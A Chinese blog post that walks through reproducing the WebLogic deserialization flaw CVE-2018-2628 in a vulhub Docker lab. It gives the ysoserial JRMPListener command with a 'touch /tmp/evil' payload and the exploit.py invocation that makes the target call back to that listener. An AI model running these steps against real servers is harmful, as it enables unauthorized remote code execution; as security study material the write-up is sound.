漏洞复现 - Weblogic 反序列化命令执行漏洞(CVE-2018-2628)

基础知识

WebLogic是Orcale出品的一个application server,是J2EE构架中的一部分,具体构架如下(图片来源:https://www.bilibili.com/video/av53746375?p=1)

 

漏洞原理

远程攻击者可利用该漏洞在未授权的情况下发送攻击数据,通过T3协议(EJB支持远程访问,且支持多种协议。这是Web Container和EJB Container的主要区别)在Weblogic Server中执行反序列化操作,利用RMI(远程方法调用) 机制的缺陷,通过 JRMP 协议(Java Remote Messaging Protocol:java远程消息交换协议)达到执行任意反序列化 payload 的目的。 

 

影响版本 

Oracle WebLogic Server10.3.6.0

Oracle WebLogic Server12.2.1.2

Oracle WebLogic Server12.2.1.3

Oracle WebLogic Server12.1.3.0

 

复现环境

在ubuntu 16.04虚拟机中用vulhub靶场提供的docker镜像来复现

jdk版本1.7,python版本为2.7(不能是python3,exploit.py脚本只能在python2上执行)

WebLogic版本为:10.3.6.0

ysoserial:https://github.com/brianwrf/ysoserial/releases/tag/0.0.6-pri-beta

exploit.py脚本:https://www.exploit-db.com/exploits/44553

 

复现过程

1. 进入vulhub目录:weblogic/CVE-2018-2628,启动docker容器:docker-compose up -d

启动容器过程中一直连接超时或者无权限的错误,解决方法:网速问题,需要。。。你懂的~

启动成功后weblogic也启动了,可以访问weblogic控制台:http://127.0.0.1:7001/console

2. 启动一个JRMP Server

java -cp ~/sally/ysoserial-0.0.6-all.jar ysoserial.exploit.JRMPListener 2325 CommonsCollections1 'touch /tmp/evil'

3. 使用exploit.py脚本,向目标Weblogic(http://ip:7001)发送数据包:  

python ~/sally/exploit.py 127.0.0.1 7001 ~/sally/ysoserial-0.0.6-all.jar 127.0.0.1 2325 JRMPClient  

 结果发送的数据包没有被监听端口2325接收到,修改IP地址为docker的ip地址:

python ~/sally/exploit.py 127.0.0.1 7001 ~/sally/ysoserial-0.0.6-all.jar 10.0.2.15 2325 JRMPClient  

接收数据包成功:

4.进入docker容器:docker-compose exec weblogic bash

发现tmp/evil,恶意指令执行成功

 

本文仅用于技术学习和交流,严禁用于非法用途,否则产生的一切后果自行承担。

posted @ 2020-02-18 17:53  Sally_Zhang  阅读(2419)  评论(0编辑  收藏  举报